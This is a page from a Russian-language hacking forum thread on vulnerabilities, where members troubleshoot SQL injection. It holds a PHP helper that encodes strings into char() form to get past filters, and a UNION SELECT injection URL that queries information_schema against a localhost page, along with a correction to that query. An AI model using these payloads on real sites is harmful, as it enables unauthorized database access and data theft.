HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
   
Ответ
 
Опции темы Поиск в этой теме Опции просмотра

  #4971  
Старый 23.01.2009, 21:08
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

Цитата:
Сообщение от kevmen  
Iceangel_,в таблице записей нет)вообще)
А запрос верно составлен?
Если 3 и 4 поля принтабельные - верно
 
Ответить с цитированием

  #4972  
Старый 23.01.2009, 21:09
Pashkela
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
С нами: 9649706

Репутация: 3338


По умолчанию

Цитата:
Сообщение от Gemini12  
пароль помнишь?
Ой, сорри, 123
 
Ответить с цитированием

  #4973  
Старый 23.01.2009, 21:29
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

PHP код:
<?php  
function form(){ 
echo 
"<hr>"
echo 
"<form action=? method=GET>"
echo 
"Word:<input name=string type=text>"
echo 
"<input type=submit value=OK>"
echo 
"</form>"

if (!isset(
$_GET['string'])){ 
form(); 
exit; 

$string=$_GET['string']; 
for (
$i=0;$i<strlen($string);$i++){ 
$str_arr[$i]=substr($string,$i,1); 

$result=''
for (
$i=0;$i<count($str_arr);$i++){ 
if (
$i==count($str_arr)-1){ 
$result=$result.ord($str_arr[$i]); 
}else{ 
$result=$result.ord($str_arr[$i]).","


echo 
"<textarea>char(".$result.")</textarea>"
form(); 
?>
Вот, накатал быстро, если еще кому-то надо, энкодит слово в чар.
 
Ответить с цитированием

  #4974  
Старый 23.01.2009, 21:31
groundhog
Познавший АНТИЧАТ
Регистрация: 12.05.2007
Сообщений: 1,235
С нами: 9999746

Репутация: 1318


По умолчанию

mailbrush, в разных диалектах SQL по разному применяется функция CHAR... Так же в разных диалектах по разному используется операция "конкатенация", поэтому возможно ещё варианты... Хорошо, если бы ты ещё предусмотрел переключатель - MySQL, MSSQL, Oracle... Цены бы тебе не было!
 
Ответить с цитированием

  #4975  
Старый 23.01.2009, 21:36
R1dex
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами: 9288132

Репутация: 571
По умолчанию

К чему ещё один "велосипед"?
К тому же, пару страниц назад Sabe скинул ссылку на сайт, который "энкодит слово в чар", причем можно энкодить как для MySQL, так и для MSSQL и Oracle.
 
Ответить с цитированием

  #4976  
Старый 23.01.2009, 21:40
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
Хорошо, если бы ты ещё предусмотрел переключатель - MySQL, MSSQL, Oracle... Цены бы тебе не было!
Посмотрим.. Это для мускуля было.
 
Ответить с цитированием

  #4977  
Старый 23.01.2009, 21:41
mailbrush
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами: 9410786

Репутация: 2731


По умолчанию

Цитата:
К тому же, пару страниц назад Sabe скинул ссылку на сайт, который "энкодит слово в чар", причем можно энкодить как для MySQL, так и для MSSQL и Oracle.
Это гуд, не искал, знач мну писать не надо, но для себя потренируюсь.
 
Ответить с цитированием

  #4978  
Старый 23.01.2009, 22:35
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами: 9227224

Репутация: 60
По умолчанию

идиотством страдаю,пока на все 100% не закреплю ,дальше не пойду)
http://localhost/view_cat.php?cat=-1+union+select+1,column_name,3,4,5,6,7,8,9+from+in formation_schema.columns+where+column_name=char(97 ,100,100,101,100,114,101,113,117,101,115,116,115)+ limit+1,1
Точно знаю, что в таблице есть строки
addedrequests-название таблицы

но выводит,что запрос прошел,однако данных нет!

Последний раз редактировалось kevmen; 23.01.2009 в 22:40..
 
Ответить с цитированием

  #4979  
Старый 23.01.2009, 22:40
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию

kevmen А может всё-же почитать что-то нужно? Статьи ведь пишут не для того, что-бы сдесь их по новой всем индивидуально перессказывать


http://localhost/view_cat.php?cat=-1+union+select+1,column_name,3,4,5,6,7,8,9+from+in formation_schema.columns+where+column_name=char(97 ,100,100,101,100,114,101,113,117,101,115,116,115)+ limit+1,1

Столбец, из шемы, где столбец. Видимо ты хотел написать, +where+table_name='имя_таблицы'

Последний раз редактировалось jokester; 23.01.2009 в 22:46..
 
Ответить с цитированием

  #4980  
Старый 23.01.2009, 22:41
kevmen
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами: 9227224

Репутация: 60
По умолчанию

jokester
ЧитаЛ
Читаю вот
https://forum.antichat.ru/showpost.php?p=1051237&postcount=4597
и вот
http://forum.antichat.ru/thread43966.html
 
Ответить с цитированием
Ответ



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.

×

Создать сделку

Продавец: ник или ID

Название сделки:

Сумма USDT:

Срок сделки, дней:

Кто платит комиссию:

Условия сделки:

После создания сделки средства будут зарезервированы в холде до завершения сделки.

×

Мои сделки

Загрузка...
×

Сделка


Загрузка чата...
×

ESCROW ADMIN PANEL

Загрузка...
Загрузка...